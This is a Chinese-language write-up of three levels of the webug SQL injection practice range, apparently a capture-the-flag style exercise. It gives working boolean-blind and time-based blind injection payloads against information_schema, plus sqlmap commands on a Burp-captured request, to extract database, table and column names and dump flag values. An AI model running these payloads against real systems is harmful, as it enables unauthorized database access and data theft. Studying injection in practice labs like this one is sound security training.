一、布尔注入
id=1‘’or 1=1–+
这里存在注入点
id=1%27order%20by%203–+
利用order by判断字段
Order by 3的时候页面发生变化。
所以应该是有两个可以显示的地方。
利用left()函数判断数据库名,先判断数据库名长度
大于5的时候页面发生变化,说明数据库名长度应该是5.
id=1’ and left(database(),1)>‘w’–+
猜测出数据库名的第一个字符是w
前两个是we,这样逐步猜测出数据库名是webug.
查看当前数据库表
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),1,1))>100–+
大于100的时候页面发生变化,第一个字符是d
这样就爆出了webug库中的第一个表的第一个字符。判断第二个字符用就是修改为substr(***,2,1)
前两个字符就是da 这样逐步爆出表名
爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
Flag不在flag表里面,要去爆env_list表
id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 0,1),1,1))>105%23
这样爆出所有的列名
env_list表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
看看第一关的flag是不是在envFlag里面。
id=1’ and substr((select envFlag from env_list where id=1 limit 0,1),1,16)=‘dfafdasfafdsadfa’%23
页面无变化,说明正确,第一关的flag确实在里面。
那么通过 修改id=2 可以逐步爆出第二关的密码
然后通过修改substr(***,2,1)得到flag的第二个字符是d
后得出flag:fdsafsdfa
二、post注入
post注入是通过对输入框进行传参,可以被带入数据库进行的查询
注入的两个条件:
1.用户可以控制传参,
2.用户输入的语句被带入数据库进行查询
通过对输入框进行元素审查,发现请求类型是post类型
在输入框输入1’报错,1’#返回正常
说明页面可能存在注入点。
先随便提交一个东西,然后f12
在网络里面找到post,然后点开,在参数里面可以看到这个输入点是keyWordName。
输入1’页面报错,输入1’#页面正常。
说明列数为2.通过对注入类型不断尝试,发现可以使用延时注入进行**。
- 先进行数据库名长度的**:
keyWordName=1’ or if(length(database())>4,sleep(3),1)#有延时,通过修改大于号后面的数字判断出数据库名的长度为5
- 判断数据库名称:
keyWordName=1’ or if(ascii(substr(database(),1,1))>97,sleep(3),1)#,有延时
逐步判断出数据库名的第一个字符为w
通过修改箭头部分来判断所有的数据库名。
- 然后判断数据库里面表的个数:
keyWordName=1’ or if((select count(table_name)from information_schema.tables where table_schema=database())>6,sleep(3),1)#有延时,而>7没有延时。
判断出有7个表。
- 判断每个表名的长度:
keyWordName=1’ or if(length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))>2,
sleep(5),1) #
判断出第一个表名的长度是9个字符
修改substr的第二个参数判断出第二个表长度为8
那么第6个表长度为4可能就是flag
第6个表的第一个字符是u,可能是user,不是flag表。
手工注入不下去了。。
- 用sqlmap跑,先用burpsuite拦一下包
- 把这个保存到txt,这里我放到了根目录下
- Sqlmap -r ”~/a.txt” --dbs是爆出所有的数据库
- Sqlmap -r “~/a.txt”-D webug --tables 爆出webug下所有的表
- 接下来就要爆表中的数据了
sqlmap -r “a.txt” -D webug -T flag --columns
- 获取flag列中的内容:
sqlmap -r a.txt -D webug -T flag -C “flag” --dump --batch
–batch就是自动默认之后你要选的选项。
看到结果应该是爆错了表,这应该是第一关的flag.那就继续爆别的表 env_list
好像爆出了所有的flag…
三、过滤注入
对select的大小写都屏蔽了。
但发现单独把select写出来才会被屏蔽,放在payload里面也并没有被屏蔽掉,此题过滤相当于无,注入方法和布尔注入一致。。